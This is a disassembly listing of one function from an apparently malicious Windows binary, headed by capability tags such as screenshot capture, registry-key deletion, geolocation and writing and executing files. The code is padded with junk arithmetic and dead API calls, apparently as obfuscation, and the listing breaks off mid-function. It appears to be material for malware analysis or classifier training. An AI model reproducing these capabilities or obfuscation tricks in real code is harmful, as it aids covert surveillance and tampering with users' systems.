Function at 0x10029f1d
Capabilities:
Accept command line arguments
Capture screenshot
Clear file content
Create process on windows
Delete file
Delete registry key
Enumerate gui resources
Get geographical location
Get graphical window text
Parse pe header
Query environment variable
Set environment variable
Write and execute a file

Disassembly:
mov eax, 0x100879e4
call fcn.100862f0
mov eax, 0x1714
call fcn.10070850
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x7f8]
push ebx
mov byte [ebp - 0x6d], dl
call fcn.10014bbc
xor eax, eax
mov edi, 0xb6fd
mov dword [ebp - 4], eax
mov esi, 0x9f4f9a02
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x44], 0xfffc
mov dword [ebp - 0x24], 0xc5530c4e
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10029fa5
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7f8]
call fcn.10014c48
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10029f87
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
push 1
pop ebx
jge 0x10029fc5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x157c], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10029fb0
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10029fe7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x16dc], 0xfffffffe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10029fce
xor eax, eax
push eax
lea ecx, [ebp - 0x7f8]
call fcn.10014c48
push 9
pop ecx
cmp dword [eax], 0
je 0x1002a02f
xor eax, eax
lea ecx, [ebp - 0x7f8]
push eax
mov dword [ebp - 0x3c], eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a028
xor eax, eax
lea ecx, [ebp - 0x7f8]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a028
xor eax, eax
jmp 0x1002a02a
mov eax, ebx
mov dword [ebp - 0x3c], eax
jmp 0x1002a087
mov dword [ebp - 0x24], 0xa07e4fc2
mov dword [ebp - 0x24], 0xe30f5872
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xdf4]
mov dword [ebp - 0x24], 0x5fe46c2e
mov dword [ebp - 0x24], 0x10c13fe6
push 3
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x10], eax
jmp 0x1002a073
push dword [ebp - 0x10]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0xdf4]
jl 0x1002a065
dec dword [ebp - 0x44]
call fcn.10014c43
inc dword [ebp - 0x30]
lea ecx, [ebp - 0x7f8]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10014c43
push 2
lea ecx, [ebp - 0x768]
call fcn.10014bbc
push 2
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x44], 0xfffc
mov dword [ebp - 0x24], 0xc5530c4e
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1002a100
push dword [ebp - 0x20]
lea ecx, [ebp - 0x768]
call fcn.10014c48
push 2
pop ecx
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002a0df
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1002a11c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1514], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002a108
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002a13e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x170c], 0xfffffffe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002a125
xor eax, eax
push eax
lea ecx, [ebp - 0x768]
call fcn.10014c48
cmp dword [eax], 0
je 0x1002a183
xor eax, eax
lea ecx, [ebp - 0x768]
push eax
mov dword [ebp - 0x3c], eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a17c
xor eax, eax
lea ecx, [ebp - 0x768]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a17c
xor eax, eax
jmp 0x1002a17e
mov eax, ebx
mov dword [ebp - 0x3c], eax
jmp 0x1002a1df
push 9
mov dword [ebp - 0x24], 0xa07e4fc2
lea ecx, [ebp - 0xf6c]
pop eax
mov dword [ebp - 0x24], 0xe30f5872
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x5fe46c2e
mov dword [ebp - 0x24], 0x10c13fe6
push 3
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], eax
jmp 0x1002a1cb
push dword [ebp - 0x10]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0xf6c]
jl 0x1002a1bd
dec dword [ebp - 0x44]
call fcn.10014c43
inc dword [ebp - 0x30]
lea ecx, [ebp - 0x768]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10014c43
push 2
lea ecx, [ebp - 0x79c]
call fcn.10014bbc
mov dword [ebp - 4], 4
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xda0e60f9
mov dword [ebp - 0x10], eax
jmp 0x1002a22c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x438], 0xdd688769
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002a21b
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x1002a2f9
push 0xfffffffffffffff6
pop esi
mov dword [ebp - 0x44], 6
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x438]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x438]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x438]
mov eax, dword [ebp - 0x18]
cmp ecx, dword [ebp + eax*4 - 0x438]
jle 0x1002a28c
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002a28e
mov edx, ebx
jmp 0x1002a290
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x438]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
mov eax, 0xffff
setne cl
xor edx, edx
sub eax, ecx
imul eax, eax, 6
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x438]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x57736d0c
setge al
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x430], eax
dec dword [ebp - 0x18]
jns 0x1002a250
xor eax, eax
mov esi, 0x9f4f9a02
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x44], 0xfffc
mov dword [ebp - 0x24], 0xc5530c4e
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x30], eax
push 2
mov dword [ebp - 0x20], eax
pop esi
cmp dword [ebp - 0x20], esi
jge 0x1002a349
push dword [ebp - 0x20]
lea ecx, [ebp - 0x79c]
call fcn.10014c48
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002a32b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1002a365
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x15cc], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002a351
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002a387
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x16ec], 0xfffffffe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002a36e
xor eax, eax
push eax
lea ecx, [ebp - 0x79c]
call fcn.10014c48
cmp dword [eax], 0
je 0x1002a3cf
xor eax, eax
lea ecx, [ebp - 0x79c]
push eax
mov dword [ebp - 0x3c], eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a3c5
xor eax, eax
lea ecx, [ebp - 0x79c]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002a3c5
xor eax, eax
jmp 0x1002a3c7
mov eax, ebx
push 3
mov dword [ebp - 0x3c], eax
pop edi
jmp 0x1002a42c
push 9
pop eax
mov dword [ebp - 0x24], 0xa07e4fc2
lea ecx, [ebp - 0xe08]
push 3
mov dword [ebp - 0x24], 0xe30f5872
mov dword [ebp - 0x24], eax
pop edi
mov dword [ebp - 0x24], 0x5fe46c2e
mov dword [ebp - 0x24], 0x10c13fe6
push edi
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x10], eax
jmp 0x1002a419
push dword [ebp - 0x10]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xe08]
cmp dword [ebp - 0x10], edi
jl 0x1002a40b
dec dword [ebp - 0x44]
call fcn.10014c43
inc dword [ebp - 0x30]
lea ecx, [ebp - 0x79c]
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.10014c43
push edi
lea ecx, [ebp - 0x474]
call fcn.10014bbc
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], 0xb90f9986
mov dword [ebp - 0x24], 0xdc10
mov dword [ebp - 0x10], eax
jmp 0x1002a47c
push dword [ebp - 0x10]
call fcn.10014c48
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x474]
cmp dword [ebp - 0x10], edi
jl 0x1002a46b
push ebx
call fcn.10014c48
xor ecx, ecx
cmp dword [eax], ebx
setg cl
xor eax, eax
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x474]
push eax
call fcn.10014c48
mov ecx, dword [ebp - 0x48]
add ecx, dword [eax]
je 0x1002a542
movdqa xmm0, xmmword [0x10008c30]
lea eax, [ebp - 0x10a0]
push eax
lea eax, [ebp - 0x10b0]
mov dword [ebp - 0x3c], 0xbafc
push eax
lea ecx, [ebp - 0x158c]
movdqu xmmword [ebp - 0x10b0], xmm0
call fcn.10014c57
lea ecx, [ebp - 0x203]
mov esi, eax
call fcn.1000a0c3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xf84]
push dword [esi]
call fcn.10014c1d
push ebx
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 7
call fcn.10014c48
push 2
lea ecx, [ebp - 0x474]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
call fcn.10014c48
push edi
lea ecx, [ebp - 0xf84]
mov esi, eax
call fcn.10014c48
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0xf84]
call fcn.10014c43
jmp 0x1002a619
mov dword [ebp - 0x44], 0x7263b0a6
xor eax, eax
mov dword [ebp - 0x3c], 0x6a6c65b0
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xd
jne 0x1002a57e
xor ebx, ebx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1002a572
push 0xb84
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xd
je 0x1002a55d
xor ebx, ebx
inc ebx
mov dword [ebp - 0x48], 0x15
cmp dword [ebp - 0x48], 0xffffffe2
jle 0x1002a61c
mov dword [ebp - 0x34], esi
xor edx, edx
mov dword [ebp - 0x30], 0x653e3f36
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x44]
test edx, edx
je 0x1002a5b7
cmp dword [ebp - 0x44], eax
je 0x1002a5b7
mov eax, ebx
cmp dword [ebp - 0x48], eax
je 0x1002a5c7
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002a5c9
mov edi, ebx
jmp 0x1002a5cb
xor eax, eax
mov edi, eax
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x474]
mov dword [ebp - 0x30], eax
push ebx
call fcn.10014c48
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x48]
sub esi, edi
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp esi, ecx
setne dl
add edx, dword [eax]
xor eax, eax
mov dword [ebp - 0x30], edx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002a606
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe2
push 0xffffffffffffffff
pop esi
jg 0x1002a58f
push 3
pop edi
or esi, 0xffffffff
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002a638
push eax
push 0x19e6
push 0x1e23
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
lea ecx, [ebp - 0x474]
mov dword [ebp - 4], esi
call fcn.10014c43
push edi
lea ecx, [ebp - 0x644]
call fcn.10014bbc
push 8
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002a687
push dword [ebp - 0x10]
lea ecx, [ebp - 0x644]
call fcn.10014c48
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002a669
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002a69c
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor eax, eax
push 2
pop edi
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x1002a6f1
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x1002a6e9
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x644]
call fcn.10014c48
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x644]
call fcn.10014c48
push dword [ebp - 0x10]
lea ecx, [ebp - 0x644]
mov esi, eax
call fcn.10014c48
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x10]
jns 0x1002a6b2
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002a6a7
or esi, 0xffffffff
lea ecx, [ebp - 0x644]
mov dword [ebp - 4], esi
call fcn.10014c43
movdqa xmm0, xmmword [0x10008bf0]
lea eax, [ebp - 0x10d0]
push eax
lea eax, [ebp - 0x10e0]
push eax
lea ecx, [ebp - 0x1534]
movdqu xmmword [ebp - 0x10e0], xmm0
call fcn.10014c57
lea ecx, [ebp - 0x1ae]
mov esi, eax
call fcn.1000a0c3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x13b8]
push dword [esi]
call fcn.10014c1d
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffa
push 3
mov dword [ebp - 0x40], eax
pop ecx
cmp dword [ebp - 0x40], ecx
jg 0x1002a803
or edx, 0xffffffff
mov dword [ebp - 0x10], 0x532bb11a
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0x131d8b9d
mov dword [ebp - 0x24], 0x2c9ebf49
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002a79c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1654], 0xee4c20f7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002a784
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jg 0x1002a7f7
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x24], 0xda2ae7b7
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x24], 0x58382bdb
mov dword [ebp - 0x24], 0x6718e503
mov dword [ebp - 0x24], 0x2487223b
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], edx
push 9
mov dword [ebp - 0x24], ebx
pop eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], ecx
jle 0x1002a7a4
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jle 0x1002a761
lea ecx, [ebp - 0x13b8]
call fcn.10014c43
push edi
lea ecx, [ebp - 0x714]
call fcn.10014bbc
push 9
pop eax
push 4
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 4], eax
call fcn.10014bbc
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x24], 0xc99cdf9c
mov dword [ebp - 0x24], 0xdf11bbb4
mov dword [ebp - 0x24], 0xc75d
mov dword [ebp - 0x30], 0xff74
mov dword [ebp - 0x34], 0x4ddb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002a87a
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a0]
call fcn.10014c48
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002a85f
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002a88c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1600], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002a87f
push edi
lea ecx, [ebp - 0x2a0]
call fcn.10014c48
mov dword [eax], 0xfffffffd
jmp 0x1002a8c4
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x44], 0xe089
mov eax, dword [ebp - 0x3c]
push edi
mov dword [ebp - 0x44], eax
call fcn.10014c48
inc dword [eax]
push edi
lea ecx, [ebp - 0x2a0]
call fcn.10014c48
cmp dword [eax], 0x1b
jg 0x1002a8a6
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
test eax, eax
jne 0x1002a8fa
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0xa21b
setle cl
cmp ecx, 0x32da
je 0x1002a8fa
xor eax, eax
mov edi, eax
jmp 0x1002a8fc
mov edi, ebx
push 2
lea ecx, [ebp - 0x2a0]
call fcn.10014c48
push 2
lea ecx, [ebp - 0x2a0]
mov esi, eax
call fcn.10014c48
mov esi, dword [esi]
lea ecx, [ebp - 0x2a0]
push ebx
sub esi, dword [eax]
imul esi, edi
call fcn.10014c48
push 9
lea ecx, [ebp - 0x2a0]
mov dword [eax], esi
pop eax
mov byte [ebp - 4], al
call fcn.10014c43
push 2
pop esi
mov dword [ebp - 0x1c], 0xe2db
lea ecx, [ebp - 0xe1c]
push esi
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002a980
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe1c]
call fcn.10014c48
mov dword [eax], 0xe57a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a962
xor eax, eax
inc dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
jmp 0x1002a9a1
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002a99e
push 0xc11
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002a988
push 9
pop eax
lea ecx, [ebp - 0xe1c]
mov byte [ebp - 4], al
call fcn.10014c43
mov dword [ebp - 0x24], 0xb6fd
or eax, 0xffffffff
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x34], 0xdac842f8
mov dword [ebp - 0x38], 0x3f3ac9d7
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
je 0x1002a9ea
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002a9ec
mov ecx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002aa08
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
js 0x1002aa23
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002aa25
mov eax, ebx
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor ecx, ecx
imul eax, eax, 0x9744
push 8
cmp eax, 0xb94be3d0
pop eax
setne cl
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, 6
je 0x1002aafe
xor eax, eax
mov dword [ebp - 0x1c], 0xf4c6f444
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002aa79
push eax
push 0x1434
push 0x126d
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg esi
push 8
sbb esi, esi
neg esi
pop ecx
sub eax, ecx
xor ecx, ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
setg bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x34]
setg cl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp esi, ecx
jne 0x1002aacb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
xor edx, edx
inc ebx
cmp eax, ebx
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
sub eax, ecx
je 0x1002aaf4
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002aaf6
mov eax, ebx
jmp 0x1002aaf6
xor eax, eax
push 2
mov dword [ebp - 0x44], eax
pop esi
jmp 0x1002ab32
xor eax, eax
mov dword [ebp - 0x3c], 0x2ea9177c
mov dword [ebp - 0x10], eax
jmp 0x1002ab1d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdfc], 0xf0d22965
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002ab0c
mov dword [ebp - 0x3c], 0x5f9ba4ae
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xdfc], eax
mov dword [ebp - 0x40], 0xfffc
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xda0e60f9
mov dword [ebp - 0x10], eax
jmp 0x1002ab5e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x48c], 0xdd688769
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002ab4d
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1002ac20
mov dword [ebp - 0x44], 6
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x48c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x48c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x48c]
mov eax, dword [ebp - 0x18]
cmp ecx, dword [ebp + eax*4 - 0x48c]
jle 0x1002abb7
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002abb9
mov edx, ebx
jmp 0x1002abbb
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
push 0xfffffffffffffff6
mov eax, dword [ebp + eax*4 - 0x48c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
mov eax, 0xffff
setne cl
xor edx, edx
sub eax, ecx
imul eax, eax, 6
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x48c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x57736d0c
pop ecx
setge al
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x484], eax
dec dword [ebp - 0x18]
jns 0x1002ab7b
mov dword [ebp - 0x18], 0xfffffff7
lea ecx, [ebp - 0x594]
or eax, 0xffffffff
mov dword [ebp - 0x44], 0x4a0426a7
mov dword [ebp - 0x34], eax
push ebx
call fcn.10014bbc
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x3c], 0x8abff5ec
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], 0x3be4655
mov dword [ebp - 0x10], eax
jmp 0x1002ac73
push dword [ebp - 0x10]
lea ecx, [ebp - 0x594]
call fcn.10014c48
mov dword [eax], 0xfffaa232
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002ac5c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
sub eax, 0x93d0b548
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x18]
je 0x1002ac9f
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x594]
xor eax, eax
push eax
call fcn.10014c48
mov edx, dword [ebp - 0x18]
xor ecx, ecx
sub edx, dword [eax]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x594]
push eax
call fcn.10014c48
mov ecx, dword [ebp - 0x18]
mov esi, eax
or edx, 0xffffffff
xor eax, eax
cmp ecx, edx
mov ecx, dword [ebp - 0x34]
setne al
xor edx, edx
cmp eax, ecx
lea ecx, [ebp - 0x594]
setl dl
xor eax, eax
push eax
mov dword [esi], edx
call fcn.10014c48
xor eax, eax
lea ecx, [ebp - 0x594]
push eax
call fcn.10014c48
xor edx, edx
push 9
imul eax, dword [eax], 0x294b
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
pop eax
setne dl
lea ecx, [ebp - 0x594]
mov dword [ebp - 0x3c], edx
mov byte [ebp - 4], al
call fcn.10014c43
mov dword [ebp - 0x24], 0xc5530c4e
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x3c], 0x36378284
mov dword [ebp - 0x24], 0xfffffff8
cmp dword [ebp - 0x18], eax
je 0x1002ad53
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x18], eax
jne 0x1002ad66
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x3c], 0x6cd5fec4
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002adb3
push 0x213a
push eax
push eax
push 0x18b
push 0x172a
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
xor eax, eax
push 7
pop edx
mov dword [ebp - 0x24], edx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002ade4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x390], 0xdc85
